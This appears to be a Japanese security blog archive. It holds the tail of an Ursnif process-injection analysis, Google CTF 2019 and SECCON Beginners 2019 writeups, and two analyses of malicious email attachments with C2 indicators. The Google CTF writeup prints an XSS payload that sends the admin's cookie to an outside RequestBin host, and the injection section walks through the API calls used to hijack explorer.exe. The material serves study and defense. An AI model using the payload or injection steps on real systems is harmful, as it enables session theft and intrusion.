f:id:bankingmalware:20190627110802p:plain

ZwAllocateVirtualMemoryの第1引数にexplorerのプロセスハンドル(0xe8)を渡して、RWX領域(読取・書込・実行可能)を確保する

f:id:bankingmalware:20190627110954p:plain

Explorer内にRWX領域が確保された

■2.2 ⑦ZwWriteVirtualMemoryでシェルコードを書き込み

ZwWriteVirtualMemoryで先ほど確保したRWXの領域に書き込みを行う。第1引数がexplorerのハンドル、第2引数が書き込み先のアドレス、第3引数が書き込み元のアドレス(左下の赤枠)である。書き込み元のアドレスが左下の赤枠部分であり、Call命令等が書かれているシェルコードとなっている。

f:id:bankingmalware:20190627112216p:plain

 

■2.2 ⑧⑨SetContextThreadでEIPをシェルコードに変更

⑤まででexplorerに悪意のあるコードを書き込み、⑦まででそれを呼び出すシェルコードを書き込むことができた。最後にSetContextThreadを用いてEIP(エントリポイント、実行ファイルにおいて最初に実行されるコードのアドレス)をそのシェルコードに設定する。

下記の通り、SetContextThreadの第1引数にexplorerのプロセスハンドル(0xe8)、第2引数が各レジスタの値を保持するContext構造体のアドレス(lpcontext)となる。lpcontextの先頭から0xb8バイト目の値がEIPのため、今回の場合、explorer.exeのEIPを0x02470218に変更している(リトルエンディアンのため、逆から読むことに注意)。 

f:id:bankingmalware:20190627132029p:plain

SetContextThreadでEIPを変更している様子。第1引数がプロセスハンドルで、第2引数がlpcontextのアドレス。ダンプウインドウにはlpcontextのアドレスを表示しており、左下の赤枠部分がlpcontextから0xb8バイト目の部分(EIPの値)となる。

f:id:bankingmalware:20190627132601p:plain

explorerのMemory。0x2470000は2.6および2.7で作成したRWX領域のシェルコードであり、このシェルコードの中の0x0218番目のところにEIPを設定したことになる。

f:id:bankingmalware:20190627133207p:plain

(参考)0x218番地を逆アセンブラした結果。ECXをPUSHした後RETすることで、ECXの番地に戻ることになる。ECXに悪意のあるコードの番地にすることで、悪意のあるコードが実行されることになる。

 

最後にResumeThreadのAPIでスレッドを再開して、explorerプロセス内のスレッドで不正コードの実行が可能となる。以降、explorerでインジェクションされたコードの動きについて、解析していきますが、かなり長いページになったため、新しい記事として記載していこうと思います。

 

■筆者について

筆者は、あくまで最近マルウェア解析をし始めたマルウェア解析初心者です。基本的には独学によりマルウェア解析スキルを身に着けた程度のため、あくまで参考程度にとどめていただければ幸いです。ご質問・ご指摘がある場合、ご連絡いただければ幸いです。

 

■参考文献
今回の解析に当たり、多くのサイトを参考にさせていただきましたが、その中でも特に参考にさせていただいたページを記載させていただきます。
https://www.mbsd.jp/blog/20180607.html
https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/jp_ursnif_20161226
https://www.iij.ad.jp/dev/report/iir/034/01_04.html

 

Google CTF 2019 Wrietup (Beginners)

6月22日から23日にかけてGoogle CTFが開催されていたため、参加しました。本選のほうは解けなかったため、Begginers Questのほうにチャレンジし、5問ほど解けたのでそのWriteupを記載します。 

 

Enter Space-Time Coordinates

ELFファイルを渡されるため、まずはファイルを実行してみる。

 

f:id:bankingmalware:20190625160345p:plain

実行すると上記のように、入力が求められるため、適当な文字列を入力するとフラグを取れると推測。ltracestrace等を利用して簡単にトレースをしてみるが、フラグが見つけれなかったため、無償なデコンパイラGhidraを使って解析。フラグゲット。

(単純にstrings ./rand2 | grep CTFとかでも解くことが出来ました。) 

 

f:id:bankingmalware:20190625160413p:plain

2問目 Satellite (Network)

Networkのカテゴリにも関わらず、ELFファイルを渡されたためとりあえず実行してみ
る。

f:id:bankingmalware:20190625170732p:plain

上記のように実行すると”Enter the name of the satellite to connect to or 'exit' to quit”と表示されるので、今回のCTFストーリーのSatellite名である”Osmium”と入力pするとGoogleドキュメントのURLが表示された。URLにアクセスすると、下記の文字列が書かれたファイルが表示された。

VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg==

 

Base64でデコードすると、下記のようになる。

Username: wireshark-rocks

Password: start-sniffing!

 

特にPCAPファイルは今までなかったため、ここでどうすべきか悩んだが、Passwordstart-sniffing!のため、通信にフラグがあるのではないかと推測する。

-sudo tcpdump -w sniffing2.pcap

tcpdumpでパケットをキャプチャした状態で、ELFファイルを実行。キャプチャしたファイルをWiresharkで見るとフラグゲット。

 

f:id:bankingmalware:20190625170808p:plain

 

3問目 Work Computer (SandBox)

問題からサーバ名とポートが渡されるため、ncコマンドを使って接続する。

-nc readme.ctfcompetition.com 1337

lsコマンドを使うと、README.flagが見えるがcatless等の表示系のコマンドを制限されており、中身が見れない。

 

f:id:bankingmalware:20190625170823p:plain

 

他のコマンドのオプションを使って、この制限をバイパスして表示できないか検討。

/bin/usr./binで実行可能コマンドを探していると、tarコマンドを発見し、下記の通り標準出力が可能なオプション(-O)があることを発見。

f:id:bankingmalware:20190625170842p:plain

下記の2つのコマンドを実行し、フラグゲット。

f:id:bankingmalware:20190625170856p:plain

 

4問目 Home Computer (Forensic)

 フォレンジックの問題で、ntfsファイルが渡される。まずはFTKImagerを使ってマウントする。するとほとんどのファイルが0バイトだが、Documentsの中にcredentials.txtという1バイトのテキストファイルがあるので開いてみる。

f:id:bankingmalware:20190625175038p:plain

情報を拡張属性に入れているとあるので、拡張属性を確認すると、やはり$DATAに何らかの情報が埋め込まれていることを確認。

f:id:bankingmalware:20190625175258p:plain

more < credentials.txt:FILE0:$DATAとしても、なぜかうまくバイトを取り出せなかったため(エンコードされるため?)、ADS Managerという拡張属性を確認出来るツールを使って、credentials.txt:FILE0:$DATAをtemp.pngという名前でエクスポートする。

f:id:bankingmalware:20190625175846p:plain

中身はpngファイルで開くとフラグゲット。

 

f:id:bankingmalware:20190625180050p:plain

 

 

 

5問目 Government Agriculture Network (Web)

 

下記WebサイトのURLを渡されるので、サイトにアクセスするとPostする項目がある。

https://govagriculture.web.ctfcompetition.com/

f:id:bankingmalware:20190625170925p:plain

適当にPostすると、AdministratorPost内容をチェックすると表示される。

f:id:bankingmalware:20190625170941p:plain

これよりXSSを利用し、Administratorをサイトに誘導するとなんらかの情報を取れるのではと推測。下記の内容をPostして、CookieをクエリにつけてRequestBinにリダイレクトされるようにすると、RequestBinCookie(フラグ)がついたアクセスが確認でき、フラグゲット。

<script>

location.href='RequestBinのURL?cookie='+document.cookie;</script>

 

f:id:bankingmalware:20190625170952p:plain

 

SECCON Beginners CTF 2019 Writeup

5月25日(土)15:00から24時間開催されたSECCON Beginners CTF 2019に参加しました。チームとしては9問解答することができ、私はそのうち5問(Reversingの[warmup]Seccompare, Leakage, Linear Operation, CryptoのSo Tired, MiscのDump)解いたので、そのWriteupを作成しました。個人的にはpwnの問題が一問も解けなかったのが悲しかったですね。

 

[warmup]Seccompare

適当な引数を見つける問題。ltraceコマンドで解答。

f:id:bankingmalware:20190527094620p:plain

 

・Leakage

同じく適当な引数を見つける問題。GhidraやHooperでソースコードを見ると、1文字ずつ34回フラグと比較していることがわかった。angrで解こうとするもなぜかうまく行かず、結局gdbでブレイクポイントを仕掛け、1文字ずつ確認していくというよくない解き方になりました(スクリプトとかをすぐにかけるスキルを身に付けたいですね)

f:id:bankingmalware:20190527100404p:plain

is_correct関数の様子。1度目のループではRAXに'c'が格納される。2度目は’t’が格納され、ctf4b{フラグ}になると推測。

・Linear Operation

同じく適当な引数を見つける問題。GhidraやHooperでソースコードを見ると、解読する心が折れたので、angrを試みると秒殺でした。

import angr
proj = angr.Project("./linear_operation", load_options={"auto_load_libs": False})
addr_main = 0x40cee1
initial_state = proj.factory.blank_state(addr=addr_main)
path_group = proj.factory.path_group(initial_state)
e = path_group.explore(find=(0x40cf7f,), avoid=(0x40cf7f,))

print('start')
if len(e.found) > 0:
    print('Dump stdin at succeeded():')
    s = e.found[0].state
    print "%r" % s.posix.dumps(0)

 

・So tired

与えられた暗号化されたファイルをみるとbase64エンコードされている。デコードするとzlib形式のファイルが出てきたので、解凍すると再びbase64のファイルが出力され、以下ループする。手動では辛いので、汚いですが上のデコードと解凍を繰り返し行う以下のスクリプトを作成すると、フラグが入ったファイルが出力されました。

#/bin/sh

i=0
j=1
k=2
while [ $i -lt 2000 ]
do
    base64 -D "./temp"$i > "./temp"$j
    zlib --decompress < "./temp"$j > "./temp"$k
    i=`expr $i + 2`
    j=`expr $i + 1` 
    k=`expr $j + 1`

 

・Dump

Pcapを解析する問題。Pcapをみてみると、サーバからFLAGファイルをダウンロードしている通信が確認できた。Follow TCPをすると通信の中身が8進数でみえ、2バイト分のみ8進数を16進数に変換すると、1F 8Bとなったのでzlib形式のファイルだと推測。ここからうまくtsharkでうまく8進数のバイト→16進数のバイトに変換するスクリプトをかければ良いのですが、tsharkを使ったことがなく、断念。結局、Wiresharkで見れた通信をコピー→文字列としてファイルに貼り付け→Pythonで文字列をByteにして出力する下記プログラムを作成して、できたファイルをzlibで解凍すればpngファイルが出力され、そこにフラグがありました。

from struct import *
f = open('Dump','r')
line = f.readline()

with open("data", "wb") as fout:
while line:
splitline = line.split(" ")
for item in splitline:
  i = int(item, 8)
  fout.write(pack('B', i))
line = f.readline()
f.close()

 

今後も定期的にスキルアップの為に参加していこうと思います。

2019/05/15(水) 添付ファイル付不審メールの解析

2019/05/15(水)に少数ですが、不審メールを確認したとのtwitterが流れていましたので該当のファイルに対して動的分析をしてみました。

今回、Twitter上で報告された不審メールは拡張子がisoファイルであり、機械翻訳で変更されたものと思われるような文章でした。

f:id:bankingmalware:20190515184213p:plain


該当のファイルはiso形式となっているので、isoファイルをマウントします。マウントしたドライブ内に「TVcard.exe」というexeファイルが導入されており、クリックすると感染します。
※そもそもマウントしたファイルを実行する人がいるかは不明ですが。。。。

TVcard.exe:
https://www.virustotal.com/en/file/832f60472ec03ee963df2655b0df54418dd4517baba7a26731ee707aa1683b71/analysis/

f:id:bankingmalware:20190515192652p:plain



実行後、そのファイルに操作履歴やキーボード上で入力した情報を「C:\Users\ユーザー名\AppData\Roaming\remco\logs.dat」に書き込んでおり、どのようなアプリケーションを動作させ操作したか分かる状態になっていました。
※PW情報などもばっちり見えていました。

例:

{ 2019/05/15 17:41:02 - Offline Keylogger Started! }

[ Process Hacker [username-PC\username]+ (Administrator) ]

[Following text has been copied to clipboard:]
(tcp.port == 80 && http.host != "")||(tcp.port == 443 && ssl.handshake.extensions_server_name != "")
[End of clipboard text]

[ ファイル名を指定して実行 ]
[Ctrl + 「] [Ctrl + V]
[Following text has been pasted from clipboard:]
C:\Users\username\AppData\Roaming\remcos\logs.dat
[End of clipboard text]

[LCtrl] [Enter]


通信では、IPアドレス  91[.]192[.]100[.]7およびドメインamblessed[.]ddns[.]net宛とのやり取りを確認しています。
ペイロードの中身までは分析できませんでしたが、IPアドレス  91[.]192[.]100[.]7とポート1900を用いて通信を行っていることからC2とやり取りをしていると推測されます。

f:id:bankingmalware:20190515193524p:plain



自動起動を設定するレジストリ「HKCU\Software\Microsoft\Windows\CurrentVersion \Run」にて「C:\Users\ユーザー名\AppData\Local\Mozilla\MiniConvert.exeMiniConvert.exe」を実行させる永続化を行っていました。よって、該当のファイルはハッシュ値が「TVcard.exe」と同一であるため、「TVcard.exe」を別のマルウェア名としてコピーを行い、再度実行される仕組みとなっています。マルウェア感染後は該当のプロセスとMiniConvert.exeの削除が必要となります。

f:id:bankingmalware:20190515194059p:plain


全てを分析することは出来ませんでしたが、機能的には端末の操作内容を取得するマルウェアと推測されます。

以上、動的分析の簡易分析となります。

IoC情報
・C2
 IPアドレス:91[.]192[.]100[.]7
 ドメイン名:amblessed[.]ddns[.]net
マルウェア
  TVcard.exe
https://www.virustotal.com/en/file/832f60472ec03ee963df2655b0df54418dd4517baba7a26731ee707aa1683b71/analysis/

2019/05/08(水) 添付ファイル付不審メールの調査

05/08分の不審メールを調査しましたので本ブログに更新したいと思います。
※ここ最近は不審メールが多い傾向になっているような気がします。


本解析の内容については、以前にbomさんのブログにて解析されていた情報とほぼ同じとなります。
https://bomccss.hatenablog.jp/entry/2019/04/30/235933

<メール情報>
メールそのものは入手できていないため、twitter上で公開されていた情報を纏めています。
◾️件名:
Fw:

◾️添付ファイル:
0805.rar
0805.zip
1.doc.rar
1.doc.zip
1.rar
1.zip
2019.rar
2019.zip
20190508.rar
20190508.zip
doc.rar
doc.zip
→zipにはjsファイルが含まれています。
   例:
   1.doc.js
   https://app.any.run/tasks/3262d9c4-860f-43f8-b45e-43936f4748ed
   doc.js
   https://app.any.run/tasks/017780f8-5bcc-49be-9e42-fb4cbaaa972b
   →any.run上で動作していることからサンドボックス製品を開始するような
      機能はないと思われます。
   
■送信者名
"Takashi Suzuki"
※メールアドレスは詐称している可能性有

■本文
パターン1:
「立ち退き通知書
詳細状況は添付資料にて送りますので、ご確認ください

Takashi Suzuki」

パターン2:
「立ち退き通知書
詳細状況は添付資料にて送りますので、ご確認ください
アーカイブ されたファイルのパスワードは123456です。よろしくお願いします。
Takashi Suzuki」

※パスワード付きの不審メールもばら撒かれていたようです。

参考情報:
https://www.daj.jp/bs/d-alert/bref/?bid=23
https://twitter.com/bomccss

<プロセス概要>

f:id:bankingmalware:20190509014240p:plain
jsファイル実行→PowerShell→Tempdzk82.exe(Ursnif)をダウンロード→control.exe→rundll32.exe→explorerの流れで感染していきます。

<jsファイルの分析>
jsファイルの中身はpowershell経由でUrsnifをダウンロードさせるものですが、難読化がほぼされていないので通信先およびファイルの保存場所は目視で確認可能です。
アクセス先:hxxp://registry-cloud[.]ru/x[.]exe
User-Agent:Google Chrome
保存先:%temp% 配下

<Ursnif感染後>
explorer.exeにインジェクション後、nslookup myip.opendns.com resolver1.opendns.com により自身のグローバルIPを確認などで端末情報を%temp% 配下のbinファイルに書き込み送信していると思われます。


今回、感染しているか確認できるサイトがJC3より提供されているので確認してみたところ、感染しているとの警告が出ていることを確認しました。

f:id:bankingmalware:20190509015438p:plain

<永続化>
Ursnif自身はレジストリの 起動時の自動実行を行うレジストリ HKCU\SOFTWARE\MIcrosoft\Windows\Current\Version\Run に書き込まれます。
よって、再起動後にUrsnifが再実行されるため、c:\users\ユーザ名\appdata\roaming\microsoft\ランダムなフォルダ に入っているexeファイルを削除する必要があります。

f:id:bankingmalware:20190509182114p:plain

<感染後の通信先>

IPを調査するhxxp://curlmyip.net、情報を送信する hxxp://adonis-medicine[.]at/images/~ への通信を確認しました。

f:id:bankingmalware:20190509193702p:plain



以上となります。